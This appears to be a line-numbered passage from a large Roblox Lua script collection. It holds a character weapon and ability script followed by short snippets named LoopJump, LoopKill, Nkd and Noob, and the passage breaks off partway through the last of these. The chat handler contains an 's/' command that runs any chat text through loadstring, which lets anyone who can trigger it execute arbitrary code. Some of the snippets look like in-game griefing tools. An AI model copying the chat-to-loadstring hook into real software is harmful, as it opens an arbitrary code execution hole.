| 7068 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)})
| |
| 7069 | end | |
| 7070 | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
| |
| 7071 | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)})
| |
| 7072 | bla = pa(su,"","Wedge",0.2,1,2,false,false,0,0.05,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"})
| |
| 7073 | blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)})
| |
| 7074 | bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,0.05,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"})
| |
| 7075 | bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
| |
| 7076 | bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,0.05,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"})
| |
| 7077 | bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
| |
| 7078 | han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2)
| |
| 7079 | han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))})
| |
| 7080 | han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,0,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9)
| |
| 7081 | han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)})
| |
| 7082 | --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959 | |
| 7083 | raa = c["Right Arm"] | |
| 7084 | laa = c["Left Arm"] | |
| 7085 | clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
| |
| 7086 | clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)})
| |
| 7087 | clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
| |
| 7088 | clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)})
| |
| 7089 | clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
| |
| 7090 | clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)})
| |
| 7091 | clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
| |
| 7092 | clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)})
| |
| 7093 | badge = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond})
| |
| 7094 | badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)})
| |
| 7095 | badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond})
| |
| 7096 | badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2})
| |
| 7097 | ef = pa(su,"","Block",0,0,0,false,true,1,0,"White") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2})
| |
| 7098 | --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)})
| |
| 7099 | db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5})
| |
| 7100 | db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)})
| |
| 7101 | db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5})
| |
| 7102 | db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)})
| |
| 7103 | local ebs = false | |
| 7104 | function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true | |
| 7105 | if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end | |
| 7106 | else | |
| 7107 | ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end | |
| 7108 | end end) end | |
| 7109 | local efm = ef.Mesh.Scale | |
| 7110 | function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then | |
| 7111 | for i=0.3,1,0.1 do ef.Transparency = i wait() end | |
| 7112 | else | |
| 7113 | q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end) | |
| 7114 | end end | |
| 7115 | q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end | |
| 7116 | for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end) | |
| 7117 | q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end) | |
| 7118 | sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"})
| |
| 7119 | show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)})
| |
| 7120 | chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram})
| |
| 7121 | chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
| |
| 7122 | chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2})
| |
| 7123 | chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
| |
| 7124 | local efww = 0 | |
| 7125 | q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end) | |
| 7126 | q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end) | |
| 7127 | ---- TUT02Cobalt1164 | |
| 7128 | function Act(k,kb) | |
| 7129 | if kb then | |
| 7130 | if k == "e" and Anim=="None" then | |
| 7131 | Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true | |
| 7132 | c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0) | |
| 7133 | c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end | |
| 7134 | eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) | |
| 7135 | Anim = "None" | |
| 7136 | elseif k == "q" and Anim=="None" then | |
| 7137 | Anim = "GravGrab" Armz(false) e() eb(laa) caw = false | |
| 7138 | c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0) | |
| 7139 | c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7140 | c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170) | |
| 7141 | Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3) | |
| 7142 | c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75) | |
| 7143 | caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0) | |
| 7144 | e() Anim = "None" Armz(true) | |
| 7145 | elseif k == "z" and Anim=="None" then | |
| 7146 | Anim = "Blackspace" Armz(false) Legz(false) caw = false | |
| 7147 | c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3) | |
| 7148 | c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true | |
| 7149 | elseif k == "g" and Anim=="None" then | |
| 7150 | Anim = "MatterBall" e() Armz(false) fac = true | |
| 7151 | c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) | |
| 7152 | eb(laa,nil,3) wait(0.3) | |
| 7153 | c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5) | |
| 7154 | fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None" | |
| 7155 | elseif k == "r" and Anim=="None" then | |
| 7156 | Anim = "Block" Armz(false) fac = true | |
| 7157 | c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20) | |
| 7158 | local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end | |
| 7159 | block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0 | |
| 7160 | block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None" | |
| 7161 | elseif k == "v" and Anim=="None" then | |
| 7162 | Anim = "RakeFist" Armz(false) fac = true | |
| 7163 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7164 | if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false | |
| 7165 | wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
| 7166 | c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None" | |
| 7167 | elseif k=="h" and Anim=="None" then | |
| 7168 | Anim = "Worm" Armz(false) e(3) fac = true caw = false | |
| 7169 | c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7170 | c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90) | |
| 7171 | local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem})
| |
| 7172 | for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end) | |
| 7173 | for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false | |
| 7174 | caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end)
| |
| 7175 | end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
| 7176 | c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None" | |
| 7177 | elseif k == "y" and Anim == "None" then | |
| 7178 | Anim = "Whirlwind" Armz(false) e() fac = true | |
| 7179 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7180 | c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1) | |
| 7181 | local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to})
| |
| 7182 | q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1") | |
| 7183 | c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
| 7184 | c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None" | |
| 7185 | elseif k == "n" and Anim=="None" then | |
| 7186 | Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) | |
| 7187 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7188 | c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) | |
| 7189 | c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) | |
| 7190 | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
| 7191 | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None" | |
| 7192 | elseif k == "b" and Anim=="None" then | |
| 7193 | Anim = "DeathWall" Armz(false) e() caw = false | |
| 7194 | c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0) | |
| 7195 | c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15) | |
| 7196 | c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03) | |
| 7197 | wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end | |
| 7198 | wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) | |
| 7199 | c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None" | |
| 7200 | elseif k == "f" and Anim=="None" then | |
| 7201 | Anim = "RapidKick" Legz(false) | |
| 7202 | c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25)
| |
| 7203 | c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end
| |
| 7204 | c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz)) | |
| 7205 | c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz)) | |
| 7206 | local tst = ll if rn(1,2) == 1 then tst = rl end | |
| 7207 | local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"})
| |
| 7208 | das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2) | |
| 7209 | if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end | |
| 7210 | if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end | |
| 7211 | end) ws(16) | |
| 7212 | c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None" | |
| 7213 | end | |
| 7214 | else | |
| 7215 | if k == "q" then | |
| 7216 | end -- q end | |
| 7217 | end -- bool end | |
| 7218 | end -- func end | |
| 7219 | local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White") | |
| 7220 | function ButtonDown() if Anim~="None" then return end | |
| 7221 | to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0) | |
| 7222 | hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05) | |
| 7223 | else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05) | |
| 7224 | GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end | |
| 7225 | pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10 | |
| 7226 | to.Velocity=v3(0,0,0) | |
| 7227 | end | |
| 7228 | pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end | |
| 7229 | if m=="tkon" then tk = true | |
| 7230 | elseif m=="tkoff" then tk = false | |
| 7231 | elseif m == "rake" and Anim=="None" then Anim = "Special" | |
| 7232 | for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None" | |
| 7233 | elseif m == "torn" and Anim=="None" then Anim = "Special" | |
| 7234 | for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None" | |
| 7235 | elseif m == "blast" and Anim=="None" then Anim = "Special" | |
| 7236 | for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None" | |
| 7237 | elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end) | |
| 7238 | end end) | |
| 7239 | bin = it("HopperBin",bp) --bin = it("Tool") it("Part",bin).Name = "Handle"
| |
| 7240 | bin.Name = sn | |
| 7241 | ---- TUT03Cobalt1164 | |
| 7242 | bin.Selected:connect(function(mouse2) mouse = mouse2 | |
| 7243 | mouse.KeyDown:connect(function(k) ky[k:lower()] = true | |
| 7244 | Act(k:lower(),true) end) | |
| 7245 | mouse.KeyUp:connect(function(k) ky[k:lower()] = false | |
| 7246 | Act(k:lower(),false) end) | |
| 7247 | mouse.Button1Down:connect(function() ButtonDown() end) | |
| 7248 | end) | |
| 7249 | ---- TUT04Cobalt1164 | |
| 7250 | bin.Deselected:connect(function() | |
| 7251 | end) | |
| 7252 | --bin.Parent = c | |
| 7253 | fac = false local bgg = it('BodyGyro',to)
| |
| 7254 | ---- TUT05Cobalt1164 | |
| 7255 | q(function() while wait() do | |
| 7256 | if caw then hu.WalkSpeed = wss else hu.WalkSpeed = 0 end | |
| 7257 | if fac then bgg.maxTorque = v3(1/0,1/0,1/0) bgg.D = 50 bgg.cframe = cn(to.Position,v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)) else bgg.maxTorque = v3(0,0,0) end | |
| 7258 | end end) | |
| 7259 | ]] | |
| 7260 | LoopJump = [[ | |
| 7261 | char = game:service'Players'.LocalPlayer.Character | |
| 7262 | for i = 1, 1500 do | |
| 7263 | char.Humanoid.Jump = true | |
| 7264 | ]] | |
| 7265 | LoopKill = [[ | |
| 7266 | char = game:service'Players'.LocalPlayer.Character | |
| 7267 | for i = 1, 1500 do | |
| 7268 | char.Humanoid.Health = 0 | |
| 7269 | ]] | |
| 7270 | Nkd = [[ | |
| 7271 | char = game:service'Players'.LocalPlayer.Character | |
| 7272 | char:FindFirstChild("Shirt"):Remove()
| |
| 7273 | char:FindFirstChild("Pants"):Remove()
| |
| 7274 | ]] | |
| 7275 | Noob = [[ | |
| 7276 | char = game:service'Players'.LocalPlayer.Character | |
| 7277 | char:FindFirstChild("Head").BrickColor = BrickColor.new("Bright yellow")
| |
| 7278 | char:FindFirstChild("Torso").BrickColor = BrickColor.new("Bright green")
| |
| 7279 | char:FindFirstChild("Right Leg").BrickColor = BrickColor.new("Bright blue")
| |
